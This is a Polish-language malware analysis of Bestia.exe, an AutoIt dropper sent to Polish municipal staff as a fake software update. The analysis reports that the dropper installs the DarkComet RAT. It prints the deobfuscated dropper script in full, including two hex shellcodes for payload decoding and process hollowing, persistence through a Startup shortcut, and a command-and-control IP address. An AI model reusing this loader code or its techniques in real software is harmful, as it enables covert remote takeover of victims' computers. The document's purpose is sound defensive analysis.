Analiza dotyczy pliku Bestia.exe wykorzystywanego w ataku na pracowników polskich samorządów. Podczas ataku do pracowników rozsyłane były maile, w których proszeni byli oni o pobranie i uruchomienie pliku Bestia.exe mającego być aktualizacją do wykorzystywanego przez nich oprogramowania [email protected]

Analiza pliku Bestia.exe

img1

Analiza wstępna wykazała, że plik Bestia.exe jest skryptem AutoIt skompilowanym do postaci pliku wykonywalnego PE i dodatkowo spakowanym za pomocy pakera UPX. Po zdekompilowaniu skryptu AutoIt (z użyciem Exe2Aut) i przeprowadzeniu prostej deobfuskacji udało się otrzymać bardziej czytelną postać skryptu złośliwego oprogramowania.


// 1
$data = StringMid(FileRead(FileOpen(@AutoItExe, 0)), StringInStr(FileRead(FileOpen(@AutoItExe, 0)), "chiinasucjingmyarfss234") + StringLen("chiinasucjingmyarfss234"))
// 2
Local $f1 = „0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000”

Local $f1_struct = DllStructCreate(„byte[” & BinaryLen($f1) & „]”)
DllStructSetData($f1_struct, 1, $f1)
Local $data_struct = DllStructCreate(„byte[” & BinaryLen($data) & „]”)
DllStructSetData($data_struct, 1, $data)

// 3
DllCall(„user32.dll”, „none”, „CallWindowProc”, „ptr”, DllStructGetPtr($f1_struct), „ptr”, DllStructGetPtr($data_struct), „int”, BinaryLen($data), „str”, „chiinasucjingmyarfss234”, „int”, 0)

// 4
Local $PE = DllStructGetData($data_struct, 1)

// 5
Local $f2 = „0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F0300006A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F40000008B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E84F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000”

Local $f2_struct = DllStructCreate(„byte[” & BinaryLen($f2) & „]”)
Local $PE_struct = DllStructCreate(„byte[” & BinaryLen($PE) & „]”)
DllStructSetData($f2_struct, 1, $f2)
DllStructSetData($PE_struct, 1, $PE)

// 6
DllCall(„user32.dll”, „int”, „CallWindowProcW”, „ptr”, DllStructGetPtr($f2_struct), „wstr”,(@AutoItExe), „ptr”, DllStructGetPtr($PE_struct), „int”, 0, „int”, 0)

// 7
FileCopy(@autoitexe,@AppDataDir & „\\driver–grap.exe”,1)
FileCreateShortcut(@AppDataDir & „\\driver–grap.exe”, @StartupDir & „\\Windows.lnk”, „”, „Tooltip description of the shortcut.”, @SystemDir & „\\shell32.dll”, „”, „15”, @SW_SHOWNORMAL)

Widać, że w skrypcie wykorzystywane są dwa shellcody (2 i 5) wykonywane przez funkcję CallWindowProc, do której przekazywane są jako wskaźniki na procedurę okna (3 i 6).

Rolą pierwszego shellcodu jest zdekodowanie bloku danych odczytywanego z końca pliku Bestia.exe. Dane wyodrębniane są poprzez odnalezienie w pliku Bestia.exe ciągu znaków „chiinasucjingmyarfss234”, a następnie skopiowaniu wszystkich występujących po nim bajtów (aż do końca pliku) (1). W wyniku otrzymywany jest w pamięci obraz nowego pliku wykonywalnego PE.

img2

Nowy plik wykonywalny uruchamiany jest następnie przez drugi shellcode metodą tzw. process hollowingu. Metoda ta polega na uruchomieniu przez malware nowego procesu w trybie wstrzymanym z dowolnego pliku wykonywalnego na dysku (w tym wypadku pliku samej próbki – Bestia.exe). Następnie obraz nowego procesu w pamięci nadpisywany jest obrazem wcześniej zdekodowanego pliku wykonywalnego. Na koniec wstrzymany proces jest wznawiany. Metoda ta zmniejsza prawdopodobieństwo wykrycia właściwego payloadu przez niektóre programy antywirusowe dzięki temu, że zdekodowany plik wykonywalny nigdy nie jest zapisywany na lokalnym dysku twardym.

bestia1

Na koniec malware kopiuje swój obraz do %APPDATA%\driver–grap.exe i dodaje się do autostartu tworząc skrót Windows.lnk w katalogu autostartu (7).

Analiza payloadu

2014-03-26_081838

Następnie przeprowadzona została analiza uruchamianego przez złośliwe oprogramowanie pliku wykonywalnego (który po zdekodowaniu zrzucono do pliku dump.exe). W wyniku okazało się, że podobnie jak bazowy plik Bestia.exe jest on również spakowany pakerem UPX.

Po uruchomieniu proces dump.exe pozostaje widoczny na liście procesów i rozpoczyna próby nawiązania połączenia z IP 188.116.4.246 na porcie 81/tcp.

2014-03-26_083057
2014-03-26_082743

Dalszą analizę ułatwiło, że zarówno dla spakowanego jak i rozpakowanego pliku ClamAV wykrył sygnaturę WIN.Trojan.DarkKomet, będącego popularnym narzędziem typu RAT pozwalającym na zdalne administrowanie komputerem.

dump.exe: WIN.Trojan.DarkKomet FOUND
dump_unpacked.exe: WIN.Trojan.DarkKomet FOUND

Aby potwierdzić, czy badana próbka jest faktycznie trojanem DarkComet, na lokalnym systemie uruchomiony został serwer DarkComet v5.3. Dodatkowo lokalny adres IP został ustawiony na 188.116.4.246. Po uruchomieniu próbki serwer DarkComet v5.3 poinformował o pojawieniu się nowego klienta, co potwierdziło, że głównym payloadem był trojan DarkComet. Jednocześnie nie wykryto, by z próbką był bezpośrednio powiązany jakikolwiek inny plik wykonywalny.

bestia4

Podsumowanie

W ataku na polskie samorządy do pracowników urzędów przesyłany był spakowany skrypt AutoIt podszywający się pod oprogramowanie [email protected] W wyniku wykonania skryptu na komputerze ofiary uruchamiany był trojan DarkComet v5.3. Dzięki niemu atakujący mógł uzyskać niemal nieograniczony zdalny dostęp do zaatakowanego komputera – w szczególności mógł z tego komputera pobierać dowolne pliki bądź też zdalnie przesyłać na niego i uruchamiać inne pliki wykonywalne (np. inne złośliwe oprogramowanie). Trojan po uruchomieniu łączył się z adresem 188.116.4.246 zarządzanym przez dostawcę usług hostingowych hitme.pl. W chwili pisania analizy adres ten nie był już dłużej dostępny.